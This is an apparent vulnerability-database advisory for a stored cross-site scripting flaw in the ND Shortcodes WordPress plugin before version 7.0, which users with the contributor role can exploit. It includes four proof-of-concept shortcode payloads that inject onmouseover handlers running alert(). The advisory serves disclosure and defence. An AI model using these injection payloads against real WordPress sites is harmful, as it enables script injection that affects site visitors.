Lucene search

K
wpvulndbLana CodesWPVDB-ID:1B3201DA-F254-406F-9B4A-CD5025B6B03D
HistoryJun 12, 2023 - 12:00 a.m.

ND Shortcodes < 7.0 - Contributor+ Stored XSS via Shortcodes

2023-06-1200:00:00
Lana Codes
wpscan.com
4
plugin
validation
escape
shortcodes
attributes
page
post
contributor role
stored xss
poc
wpbakery page builder

0.001 Low

EPSS

Percentile

23.3%

The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

PoC

[nd_options_team nd_options_class=‘"onmouseover="alert(/XSS/)//’] [nd_options_team nd_options_color=‘"onmouseover="alert(/XSS/)//’] [nd_options_testimonial nd_options_class=‘" onmouseover=“alert(/XSS/)” style=“background:red;width:100px;height:100px;”’] [nd_options_testimonial nd_options_color=‘"onmouseover="alert(/XSS/)//’] PS: - Numerous other shortcodes were affected - The WPBakery Page Builder plugin is required to initialize the shortcodes.

CPENameOperatorVersion
nd-shortcodeslt7.0

0.001 Low

EPSS

Percentile

23.3%

Related for WPVDB-ID:1B3201DA-F254-406F-9B4A-CD5025B6B03D